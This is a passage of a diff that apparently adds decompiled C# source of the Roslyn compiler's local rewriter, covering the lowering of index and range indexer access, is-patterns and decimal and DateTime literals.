(TypeSymbol.Equals(node.Argument.Type, _compilation.GetWellKnownType((WellKnownType)284), (TypeCompareKind)0)) + { + return VisitIndexPatternIndexerAccess(node, isLeftOfAssignment); + } + return VisitRangePatternIndexerAccess(node); + } + + private BoundExpression VisitIndexPatternIndexerAccess(BoundImplicitIndexerAccess node, bool isLeftOfAssignment) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(2); + BoundExpression underlyingIndexerOrSliceAccess = GetUnderlyingIndexerOrSliceAccess(node, isLeftOfAssignment, isLeftOfAssignment, instance2, instance); + return _factory.Sequence(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), underlyingIndexerOrSliceAccess); + } + + private BoundExpression GetUnderlyingIndexerOrSliceAccess(BoundImplicitIndexerAccess node, bool isLeftOfAssignment, bool isRegularAssignmentOrRegularCompoundAssignment, ArrayBuilder sideeffects, ArrayBuilder locals) + { + //IL_01cf: Unknown result type (might be due to invalid IL or missing references) + //IL_022c: Unknown result type (might be due to invalid IL or missing references) + SyntheticBoundNodeFactory factory = _factory; + PatternIndexOffsetLoweringStrategy strategy; + BoundExpression boundExpression = DetermineMakePatternIndexOffsetExpressionStrategy(node.Argument, out strategy); + BoundExpression rewrittenReceiver = VisitExpression(node.Receiver); + bool flag = node.LengthOrCountAccess.Kind != BoundKind.Local; + if (!flag) + { + BoundKind kind = rewrittenReceiver.Kind; + bool flag2 = ((kind == BoundKind.Local || kind == BoundKind.Parameter) ? true : false); + flag = !flag2; + } + if (flag) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = factory.StoreToTemp(rewrittenReceiver, out store, (RefKind)(!rewrittenReceiver.Type.IsReferenceType), (SynthesizedLocalKind)(-2)); + locals.Add(boundLocal.LocalSymbol); + if (boundLocal.LocalSymbol.IsRef && CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(boundLocal) && !CodeGenerator.ReceiverIsKnownToReferToTempIfReferenceType(boundLocal) && ((isLeftOfAssignment && !isRegularAssignmentOrRegularCompoundAssignment) || !CodeGenerator.IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(ImmutableArray.Create(boundExpression)))) + { + ReferToTempIfReferenceTypeReceiver(boundLocal, ref store, out BoundAssignmentOperator extraRefInitialization, locals); + if (extraRefInitialization != null) + { + sideeffects.Add((BoundExpression)extraRefInitialization); + } + } + sideeffects.Add((BoundExpression)store); + rewrittenReceiver = boundLocal; + } + AddPlaceholderReplacement(node.ReceiverPlaceholder, rewrittenReceiver); + BoundExpression value; + switch (strategy) + { + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + { + BoundExpression boundExpression2 = VisitExpression(node.LengthOrCountAccess); + if (boundExpression.ConstantValueOpt == null && boundExpression2.Kind != BoundKind.ArrayLength) + { + boundExpression = factory.StoreToTemp(boundExpression, out BoundAssignmentOperator store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + locals.Add(((BoundLocal)boundExpression).LocalSymbol); + sideeffects.Add((BoundExpression)store2); + } + value = MakePatternIndexOffsetExpression(boundExpression, boundExpression2, strategy); + break; + } + case PatternIndexOffsetLoweringStrategy.UseAsIs: + value = MakePatternIndexOffsetExpression(boundExpression, null, strategy); + break; + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + value = MakePatternIndexOffsetExpression(boundExpression, VisitExpression(node.LengthOrCountAccess), strategy); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)strategy); + } + BoundImplicitIndexerValuePlaceholder placeholder = node.ArgumentPlaceholders[0]; + AddPlaceholderReplacement(placeholder, value); + BoundExpression result; + if (node.IndexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess) + { + if (isLeftOfAssignment && (int)boundIndexerAccess.GetRefKind() == 0) + { + ImmutableArray arguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, boundIndexerAccess.Arguments, boundIndexerAccess.Indexer, boundIndexerAccess.ArgsToParamsOpt, boundIndexerAccess.ArgumentRefKindsOpt, null, ref locals); + result = boundIndexerAccess.Update(rewrittenReceiver, (ThreeState)0, boundIndexerAccess.Indexer, arguments, boundIndexerAccess.ArgumentNamesOpt, boundIndexerAccess.ArgumentRefKindsOpt, boundIndexerAccess.Expanded, boundIndexerAccess.ArgsToParamsOpt, boundIndexerAccess.DefaultArguments, boundIndexerAccess.Type); + } + else + { + result = VisitIndexerAccess(boundIndexerAccess, isLeftOfAssignment); + } + } + else + { + result = (BoundExpression)VisitArrayAccess((BoundArrayAccess)node.IndexerOrSliceAccess); + } + RemovePlaceholderReplacement(placeholder); + RemovePlaceholderReplacement(node.ReceiverPlaceholder); + return result; + } + + private BoundExpression MakePatternIndexOffsetExpression(BoundExpression? loweredExpr, BoundExpression? lengthAccess, PatternIndexOffsetLoweringStrategy strategy) + { + switch (strategy) + { + case PatternIndexOffsetLoweringStrategy.Zero: + return _factory.Literal(0); + case PatternIndexOffsetLoweringStrategy.Length: + return lengthAccess; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + { + ConstantValue? constantValueOpt = loweredExpr.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.Int32Value == 0) + { + return lengthAccess; + } + return _factory.IntSubtract(lengthAccess, loweredExpr); + } + case PatternIndexOffsetLoweringStrategy.UseAsIs: + return loweredExpr; + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + return _factory.Call(loweredExpr, (WellKnownMember)418, lengthAccess); + default: + throw ExceptionUtilities.UnexpectedValue((object)strategy); + } + } + + private BoundExpression DetermineMakePatternIndexOffsetExpressionStrategy(BoundExpression unloweredExpr, out PatternIndexOffsetLoweringStrategy strategy) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Invalid comparison between Unknown and I4 + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Invalid comparison between Unknown and I4 + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Invalid comparison between Unknown and I4 + if (unloweredExpr is BoundFromEndIndexExpression boundFromEndIndexExpression) + { + strategy = PatternIndexOffsetLoweringStrategy.SubtractFromLength; + return VisitExpression(boundFromEndIndexExpression.Operand); + } + if (unloweredExpr is BoundConversion boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null) + { + TypeSymbol type = operand.Type; + if ((object)type != null && (int)type.SpecialType == 13) + { + strategy = PatternIndexOffsetLoweringStrategy.UseAsIs; + return VisitExpression(operand); + } + } + } + if (unloweredExpr is BoundObjectCreationExpression boundObjectCreationExpression) + { + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + if ((object)constructor != null) + { + ImmutableArray arguments = boundObjectCreationExpression.Arguments; + if (arguments.Length == 2 && boundObjectCreationExpression.ArgsToParamsOpt.IsDefaultOrEmpty && boundObjectCreationExpression.InitializerExpressionOpt == null && (object)constructor == _compilation.GetWellKnownTypeMember((WellKnownMember)417)) + { + BoundExpression boundExpression = arguments[0]; + if (boundExpression != null) + { + TypeSymbol type = boundExpression.Type; + if ((object)type != null && (int)type.SpecialType == 13) + { + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != null) + { + object value = constantValueOpt.Value; + if (value is int && (int)value >= 0) + { + BoundExpression boundExpression2 = arguments[1]; + if (boundExpression2 != null) + { + type = boundExpression2.Type; + if ((object)type != null && (int)type.SpecialType == 7) + { + constantValueOpt = boundExpression2.ConstantValueOpt; + if (constantValueOpt != null) + { + value = constantValueOpt.Value; + if (value is bool) + { + if ((bool)value) + { + strategy = PatternIndexOffsetLoweringStrategy.SubtractFromLength; + } + else + { + strategy = PatternIndexOffsetLoweringStrategy.UseAsIs; + } + return VisitExpression(boundExpression); + } + } + } + } + } + } + } + } + } + } + } + strategy = PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI; + return VisitExpression(unloweredExpr); + } + + private BoundExpression VisitRangePatternIndexerAccess(BoundImplicitIndexerAccess node) + { + SyntheticBoundNodeFactory factory = _factory; + BoundExpression boundExpression = VisitExpression(node.Receiver); + BoundExpression argument = node.Argument; + RewriteRangeParts(argument, out BoundRangeExpression rangeExpr, out BoundExpression startMakeOffsetInput, out PatternIndexOffsetLoweringStrategy startStrategy, out BoundExpression endMakeOffsetInput, out PatternIndexOffsetLoweringStrategy endStrategy, out BoundExpression rewrittenRangeArg); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + bool flag = node.LengthOrCountAccess.Kind != BoundKind.Local; + if (!flag) + { + BoundKind kind = boundExpression.Kind; + bool flag2 = ((kind == BoundKind.Local || kind == BoundKind.Parameter) ? true : false); + flag = !flag2; + } + if (flag) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = factory.StoreToTemp(boundExpression, out store, (RefKind)(!boundExpression.Type.IsReferenceType), (SynthesizedLocalKind)(-2)); + instance.Add(boundLocal.LocalSymbol); + if (boundLocal.LocalSymbol.IsRef && CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(boundLocal) && !CodeGenerator.ReceiverIsKnownToReferToTempIfReferenceType(boundLocal)) + { + ArrayBuilder instance3 = ArrayBuilder.GetInstance(2); + if (startMakeOffsetInput != null) + { + instance3.Add(startMakeOffsetInput); + } + if (endMakeOffsetInput != null) + { + instance3.Add(endMakeOffsetInput); + } + if (rewrittenRangeArg != null) + { + instance3.Add(rewrittenRangeArg); + } + if (!CodeGenerator.IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(instance3.ToImmutableAndFree())) + { + ReferToTempIfReferenceTypeReceiver(boundLocal, ref store, out BoundAssignmentOperator extraRefInitialization, instance); + if (extraRefInitialization != null) + { + instance2.Add((BoundExpression)extraRefInitialization); + } + } + } + instance2.Add((BoundExpression)store); + boundExpression = boundLocal; + } + AddPlaceholderReplacement(node.ReceiverPlaceholder, boundExpression); + BoundExpression startExpr; + BoundExpression rangeSizeExpr; + if (rangeExpr != null) + { + int num; + switch (startStrategy) + { + case PatternIndexOffsetLoweringStrategy.Zero: + switch (endStrategy) + { + case PatternIndexOffsetLoweringStrategy.Length: + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + break; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + goto IL_01d7; + case PatternIndexOffsetLoweringStrategy.UseAsIs: + goto IL_01dc; + default: + goto IL_0201; + } + num = 4; + break; + case PatternIndexOffsetLoweringStrategy.UseAsIs: + switch (endStrategy) + { + case PatternIndexOffsetLoweringStrategy.Length: + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + break; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + goto IL_01e6; + case PatternIndexOffsetLoweringStrategy.UseAsIs: + goto IL_01eb; + default: + goto IL_0201; + } + num = 4; + break; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + switch (endStrategy) + { + case PatternIndexOffsetLoweringStrategy.Length: + break; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + goto IL_01f6; + case PatternIndexOffsetLoweringStrategy.UseAsIs: + goto IL_01fc; + default: + goto IL_0201; + } + goto IL_01f0; + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + switch (endStrategy) + { + case PatternIndexOffsetLoweringStrategy.Length: + break; + case PatternIndexOffsetLoweringStrategy.SubtractFromLength: + case PatternIndexOffsetLoweringStrategy.UseGetOffsetAPI: + goto IL_01f6; + case PatternIndexOffsetLoweringStrategy.UseAsIs: + goto IL_01fc; + default: + goto IL_0201; + } + goto IL_01f0; + default: + goto IL_0201; + IL_01fc: + num = 7; + break; + IL_01f6: + num = 15; + break; + IL_01f0: + num = 13; + break; + IL_01eb: + num = 0; + break; + IL_01e6: + num = 7; + break; + IL_01d7: + num = 6; + break; + IL_0201: + throw ExceptionUtilities.UnexpectedValue((object)startStrategy); + IL_01dc: + num = 0; + break; + } + if ((num & 1) != 0 && startMakeOffsetInput.ConstantValueOpt == null) + { + startMakeOffsetInput = factory.StoreToTemp(startMakeOffsetInput, out BoundAssignmentOperator store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(((BoundLocal)startMakeOffsetInput).LocalSymbol); + instance2.Add((BoundExpression)store2); + } + if ((num & 2) != 0 && endMakeOffsetInput.ConstantValueOpt == null) + { + endMakeOffsetInput = factory.StoreToTemp(endMakeOffsetInput, out BoundAssignmentOperator store3, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(((BoundLocal)endMakeOffsetInput).LocalSymbol); + instance2.Add((BoundExpression)store3); + } + BoundExpression boundExpression2 = null; + if ((num & 4) != 0) + { + boundExpression2 = VisitExpression(node.LengthOrCountAccess); + if ((num & 8) != 0 && boundExpression2.Kind != BoundKind.Local) + { + BoundAssignmentOperator store4; + BoundLocal boundLocal2 = factory.StoreToTemp(boundExpression2, out store4, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add(boundLocal2.LocalSymbol); + instance2.Add((BoundExpression)store4); + boundExpression2 = boundLocal2; + } + } + startExpr = MakePatternIndexOffsetExpression(startMakeOffsetInput, boundExpression2, startStrategy); + BoundExpression endExpr = MakePatternIndexOffsetExpression(endMakeOffsetInput, boundExpression2, endStrategy); + rangeSizeExpr = MakeRangeSize(ref startExpr, endExpr, instance, instance2); + } + else + { + DeconstructRange(rewrittenRangeArg, VisitExpression(node.LengthOrCountAccess), instance, instance2, out startExpr, out rangeSizeExpr); + } + AddPlaceholderReplacement(node.ArgumentPlaceholders[0], startExpr); + AddPlaceholderReplacement(node.ArgumentPlaceholders[1], rangeSizeExpr); + BoundCall node2 = (BoundCall)node.IndexerOrSliceAccess; + BoundExpression result = VisitExpression(node2); + RemovePlaceholderReplacement(node.ArgumentPlaceholders[0]); + RemovePlaceholderReplacement(node.ArgumentPlaceholders[1]); + RemovePlaceholderReplacement(node.ReceiverPlaceholder); + return factory.Sequence(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), result); + } + + private BoundExpression MakeRangeSize(ref BoundExpression startExpr, BoundExpression endExpr, ArrayBuilder localsBuilder, ArrayBuilder sideEffectsBuilder) + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + SyntheticBoundNodeFactory factory = _factory; + ConstantValue? constantValueOpt = startExpr.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.Int32Value == 0) + { + return endExpr; + } + ConstantValue constantValueOpt2 = startExpr.ConstantValueOpt; + if (constantValueOpt2 != null) + { + int int32Value = constantValueOpt2.Int32Value; + constantValueOpt2 = endExpr.ConstantValueOpt; + if (constantValueOpt2 != null) + { + int int32Value2 = constantValueOpt2.Int32Value; + return factory.Literal(int32Value2 - int32Value); + } + } + if (startExpr.ConstantValueOpt == null) + { + if (startExpr is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.SynthesizedKind != 0) + { + goto IL_00b2; + } + } + BoundAssignmentOperator store; + BoundLocal boundLocal2 = factory.StoreToTemp(startExpr, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + localsBuilder.Add(boundLocal2.LocalSymbol); + sideEffectsBuilder.Add((BoundExpression)store); + startExpr = boundLocal2; + } + goto IL_00b2; + IL_00b2: + return factory.IntSubtract(endExpr, startExpr); + } + + private void DeconstructRange(BoundExpression rewrittenRangeArg, BoundExpression lengthAccess, ArrayBuilder localsBuilder, ArrayBuilder sideEffectsBuilder, out BoundExpression startExpr, out BoundExpression rangeSizeExpr) + { + SyntheticBoundNodeFactory factory = _factory; + BoundAssignmentOperator store; + BoundLocal boundLocal = factory.StoreToTemp(rewrittenRangeArg, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + localsBuilder.Add(boundLocal.LocalSymbol); + sideEffectsBuilder.Add((BoundExpression)store); + if (lengthAccess.ConstantValueOpt == null) + { + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = factory.StoreToTemp(lengthAccess, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + localsBuilder.Add(boundLocal2.LocalSymbol); + sideEffectsBuilder.Add((BoundExpression)store2); + lengthAccess = boundLocal2; + } + BoundAssignmentOperator store3; + BoundLocal boundLocal3 = factory.StoreToTemp(factory.Call(factory.Call(boundLocal, factory.WellKnownMethod((WellKnownMember)423)), factory.WellKnownMethod((WellKnownMember)418), lengthAccess), out store3, (RefKind)0, (SynthesizedLocalKind)(-2)); + localsBuilder.Add(boundLocal3.LocalSymbol); + sideEffectsBuilder.Add((BoundExpression)store3); + startExpr = boundLocal3; + BoundAssignmentOperator store4; + BoundLocal boundLocal4 = factory.StoreToTemp(factory.IntSubtract(factory.Call(factory.Call(boundLocal, factory.WellKnownMethod((WellKnownMember)424)), factory.WellKnownMethod((WellKnownMember)418), lengthAccess), startExpr), out store4, (RefKind)0, (SynthesizedLocalKind)(-2)); + localsBuilder.Add(boundLocal4.LocalSymbol); + sideEffectsBuilder.Add((BoundExpression)store4); + rangeSizeExpr = boundLocal4; + } + + private void RewriteRangeParts(BoundExpression rangeArg, out BoundRangeExpression? rangeExpr, out BoundExpression? startMakeOffsetInput, out PatternIndexOffsetLoweringStrategy startStrategy, out BoundExpression? endMakeOffsetInput, out PatternIndexOffsetLoweringStrategy endStrategy, out BoundExpression? rewrittenRangeArg) + { + startMakeOffsetInput = null; + startStrategy = PatternIndexOffsetLoweringStrategy.Zero; + endMakeOffsetInput = null; + endStrategy = PatternIndexOffsetLoweringStrategy.Zero; + rewrittenRangeArg = null; + rangeExpr = rangeArg as BoundRangeExpression; + if (rangeExpr != null) + { + BoundExpression leftOperandOpt = rangeExpr.LeftOperandOpt; + if (leftOperandOpt != null) + { + startMakeOffsetInput = DetermineMakePatternIndexOffsetExpressionStrategy(leftOperandOpt, out startStrategy); + } + else + { + startStrategy = PatternIndexOffsetLoweringStrategy.Zero; + startMakeOffsetInput = null; + } + BoundExpression rightOperandOpt = rangeExpr.RightOperandOpt; + if (rightOperandOpt != null) + { + endMakeOffsetInput = DetermineMakePatternIndexOffsetExpressionStrategy(rightOperandOpt, out endStrategy); + return; + } + endStrategy = PatternIndexOffsetLoweringStrategy.Length; + endMakeOffsetInput = null; + } + else + { + rewrittenRangeArg = VisitExpression(rangeArg); + } + } + + public override BoundNode VisitIsOperator(BoundIsOperator node) + { + BoundExpression rewrittenOperand = VisitExpression(node.Operand); + BoundTypeExpression rewrittenTargetType = (BoundTypeExpression)VisitTypeExpression(node.TargetType); + TypeSymbol rewrittenType = VisitType(node.Type); + return MakeIsOperator(node, node.Syntax, rewrittenOperand, rewrittenTargetType, node.ConversionKind, rewrittenType); + } + + private BoundExpression MakeIsOperator(BoundIsOperator oldNode, SyntaxNode syntax, BoundExpression rewrittenOperand, BoundTypeExpression rewrittenTargetType, ConversionKind conversionKind, TypeSymbol rewrittenType) + { + if (rewrittenOperand.Kind == BoundKind.MethodGroup) + { + BoundExpression receiverOpt = ((BoundMethodGroup)rewrittenOperand).ReceiverOpt; + if (receiverOpt != null && receiverOpt.Kind != BoundKind.ThisReference) + { + return RewriteConstantIsOperator(receiverOpt.Syntax, receiverOpt, ConstantValue.False, rewrittenType); + } + return MakeLiteral(syntax, ConstantValue.False, rewrittenType); + } + TypeSymbol type = rewrittenOperand.Type; + TypeSymbol type2 = rewrittenTargetType.Type; + if (!_inExpressionLambda) + { + ConstantValue isOperatorConstantResult = Binder.GetIsOperatorConstantResult(type, type2, conversionKind, rewrittenOperand.ConstantValueOpt); + if (isOperatorConstantResult != (ConstantValue)null) + { + if (isOperatorConstantResult.IsBad) + { + throw ExceptionUtilities.UnexpectedValue((object)isOperatorConstantResult); + } + return RewriteConstantIsOperator(syntax, rewrittenOperand, isOperatorConstantResult, rewrittenType); + } + if (conversionKind.IsImplicitConversion()) + { + return _factory.MakeNullCheck(syntax, rewrittenOperand, BinaryOperatorKind.NotEqual); + } + } + return oldNode.Update(rewrittenOperand, rewrittenTargetType, conversionKind, rewrittenType); + } + + private BoundExpression RewriteConstantIsOperator(SyntaxNode syntax, BoundExpression loweredOperand, ConstantValue constantValue, TypeSymbol type) + { + return new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(loweredOperand), MakeLiteral(syntax, constantValue, type), type); + } + + public override BoundNode VisitIsPatternExpression(BoundIsPatternExpression node) + { + BoundDecisionDag decisionDagForLowering = node.GetDecisionDagForLowering(_factory.Compilation); + bool flag = node.IsNegated; + BoundExpression boundExpression; + if (canProduceLinearSequence(decisionDagForLowering.RootNode, node.WhenTrueLabel, node.WhenFalseLabel)) + { + IsPatternExpressionLinearLocalRewriter isPatternExpressionLinearLocalRewriter = new IsPatternExpressionLinearLocalRewriter(node, this); + boundExpression = isPatternExpressionLinearLocalRewriter.LowerIsPatternAsLinearTestSequence(node, decisionDagForLowering, node.WhenTrueLabel, node.WhenFalseLabel); + isPatternExpressionLinearLocalRewriter.Free(); + } + else if (IsFailureNode(decisionDagForLowering.RootNode, node.WhenFalseLabel)) + { + flag = !flag; + IsPatternExpressionLinearLocalRewriter isPatternExpressionLinearLocalRewriter2 = new IsPatternExpressionLinearLocalRewriter(node, this); + boundExpression = isPatternExpressionLinearLocalRewriter2.LowerIsPatternAsLinearTestSequence(node, decisionDagForLowering, node.WhenFalseLabel, node.WhenTrueLabel); + isPatternExpressionLinearLocalRewriter2.Free(); + } + else + { + IsPatternExpressionGeneralLocalRewriter isPatternExpressionGeneralLocalRewriter = new IsPatternExpressionGeneralLocalRewriter(node.Syntax, this); + boundExpression = isPatternExpressionGeneralLocalRewriter.LowerGeneralIsPattern(node, decisionDagForLowering); + isPatternExpressionGeneralLocalRewriter.Free(); + } + if (flag) + { + boundExpression = _factory.Not(boundExpression); + } + return boundExpression; + static bool canProduceLinearSequence(BoundDecisionDagNode boundDecisionDagNode, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel) + { + while (true) + { + if (!(boundDecisionDagNode is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + if (boundDecisionDagNode is BoundLeafDecisionDagNode boundLeafDecisionDagNode) + { + return boundLeafDecisionDagNode.Label == whenTrueLabel; + } + if (!(boundDecisionDagNode is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(boundDecisionDagNode is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + break; + } + bool flag2 = IsFailureNode(boundTestDecisionDagNode.WhenFalse, whenFalseLabel); + if (flag2 == IsFailureNode(boundTestDecisionDagNode.WhenTrue, whenFalseLabel)) + { + return false; + } + boundDecisionDagNode = (flag2 ? boundTestDecisionDagNode.WhenTrue : boundTestDecisionDagNode.WhenFalse); + } + else + { + boundDecisionDagNode = boundEvaluationDecisionDagNode.Next; + } + } + else + { + boundDecisionDagNode = boundWhenDecisionDagNode.WhenTrue; + } + } + throw ExceptionUtilities.UnexpectedValue((object)boundDecisionDagNode); + } + } + + private static bool IsFailureNode(BoundDecisionDagNode node, LabelSymbol whenFalseLabel) + { + if (node is BoundWhenDecisionDagNode boundWhenDecisionDagNode) + { + node = boundWhenDecisionDagNode.WhenTrue; + } + if (node is BoundLeafDecisionDagNode boundLeafDecisionDagNode) + { + return boundLeafDecisionDagNode.Label == whenFalseLabel; + } + return false; + } + + public override BoundNode VisitLabeledStatement(BoundLabeledStatement node) + { + BoundStatement rewrittenBody = VisitStatement(node.Body); + return MakeLabeledStatement(node, rewrittenBody); + } + + private BoundStatement MakeLabeledStatement(BoundLabeledStatement node, BoundStatement? rewrittenBody) + { + BoundStatement boundStatement = new BoundLabelStatement(node.Syntax, node.Label); + if (Instrument && node.Syntax is LabeledStatementSyntax) + { + boundStatement = Instrumenter.InstrumentLabelStatement(node, boundStatement); + } + if (rewrittenBody == null) + { + return boundStatement; + } + return BoundStatementList.Synthesized(node.Syntax, boundStatement, rewrittenBody); + } + + public override BoundNode VisitLiteral(BoundLiteral node) + { + return MakeLiteral(node.Syntax, node.ConstantValueOpt, node.Type, node); + } + + private BoundExpression MakeLiteral(SyntaxNode syntax, ConstantValue constantValue, TypeSymbol? type, BoundLiteral? oldNodeOpt = null) + { + if (constantValue.IsDecimal) + { + return MakeDecimalLiteral(syntax, constantValue); + } + if (constantValue.IsDateTime) + { + return MakeDateTimeLiteral(syntax, constantValue); + } + if (oldNodeOpt != null) + { + return oldNodeOpt.Update(constantValue, type); + } + return new BoundLiteral(syntax, constantValue, type, constantValue.IsBad); + } + + private BoundExpression MakeDecimalLiteral(SyntaxNode syntax, ConstantValue constantValue) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + //IL_02eb: Unknown result type (might be due to invalid IL or missing references) + //IL_0324: Unknown result type (might be due to invalid IL or missing references) + //IL_032a: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_020f: Unknown result type (might be due to invalid IL or missing references) + decimal decimalValue = constantValue.DecimalValue; + bool flag = default(bool); + byte b = default(byte); + uint num = default(uint); + uint num2 = default(uint); + uint num3 = default(uint); + DecimalUtilities.GetBits(decimalValue, ref flag, ref b, ref num, ref num2, ref num3); + ArrayBuilder val = new ArrayBuilder(); + SpecialMember member; + if (b == 0 && -2147483648m <= decimalValue && decimalValue <= 2147483647m) + { + MethodSymbol currentFunction = _factory.CurrentFunction; + if (((int)currentFunction.MethodKind != 14 || (int)currentFunction.ContainingType.SpecialType != 17) && !_inExpressionLambda) + { + Symbol symbol = null; + if (decimalValue == 0m) + { + symbol = _compilation.GetSpecialTypeMember((SpecialMember)21); + } + else if (decimalValue == 1m) + { + symbol = _compilation.GetSpecialTypeMember((SpecialMember)23); + } + else if (decimalValue == -1m) + { + symbol = _compilation.GetSpecialTypeMember((SpecialMember)22); + } + if ((object)symbol != null && !symbol.HasUseSiteError) + { + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType != null && !containingType.HasUseSiteError) + { + FieldSymbol fieldSymbol = (FieldSymbol)symbol; + return new BoundFieldAccess(syntax, null, fieldSymbol, constantValue); + } + } + } + member = (SpecialMember)24; + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create((int)decimalValue), _compilation.GetSpecialType((SpecialType)13))); + } + else if (b == 0 && 0m <= decimalValue && decimalValue <= 4294967295m) + { + member = (SpecialMember)25; + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create((uint)decimalValue), _compilation.GetSpecialType((SpecialType)14))); + } + else if (b == 0 && -9223372036854775808m <= decimalValue && decimalValue <= 9223372036854775807m) + { + member = (SpecialMember)26; + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create((long)decimalValue), _compilation.GetSpecialType((SpecialType)15))); + } + else if (b == 0 && 0m <= decimalValue && decimalValue <= 18446744073709551615m) + { + member = (SpecialMember)27; + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create((ulong)decimalValue), _compilation.GetSpecialType((SpecialType)16))); + } + else + { + member = (SpecialMember)30; + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(num), _compilation.GetSpecialType((SpecialType)13))); + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(num2), _compilation.GetSpecialType((SpecialType)13))); + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(num3), _compilation.GetSpecialType((SpecialType)13))); + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(flag), _compilation.GetSpecialType((SpecialType)7))); + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(b), _compilation.GetSpecialType((SpecialType)10))); + } + MethodSymbol methodSymbol = (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember(member); + return new BoundObjectCreationExpression(syntax, methodSymbol, val.ToImmutableAndFree(), default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), constantValue, null, methodSymbol.ContainingType); + } + + private BoundExpression MakeDateTimeLiteral(SyntaxNode syntax, ConstantValue constantValue) + { + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = new ArrayBuilder(); + val.Add((BoundExpression)new BoundLiteral(syntax, ConstantValue.Create(constantValue.DateTimeValue.Ticks), _compilation.GetSpecialType((SpecialType)15))); + MethodSymbol methodSymbol = (MethodSymbol)_compilation.Assembly.GetSpecialTypeMember((SpecialMember)76); + return new BoundObjectCreationExpression(syntax, methodSymbol, val.ToImmutableAndFree(), default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), null, null, methodSymbol.ContainingType); + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + return RewriteLocalDeclaration(node, node.Syntax, node.LocalSymbol, VisitExpression(node.InitializerOpt), node.HasErrors); + } + + private BoundStatement? RewriteLocalDeclaration(BoundLocalDeclaration? originalOpt, SyntaxNode syntax, LocalSymbol localSymbol, BoundExpression? rewrittenInitializer, bool hasErrors = false) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (rewrittenInitializer == null) + { + return null; + } + if (localSymbol.IsConst) + { + if (localSymbol.Type.IsReferenceType || localSymbol.ConstantValue != null) + { + return null; + } + hasErrors = true; + } + if (syntax is LocalDeclarationStatementSyntax localDeclarationStatementSyntax) + { + syntax = 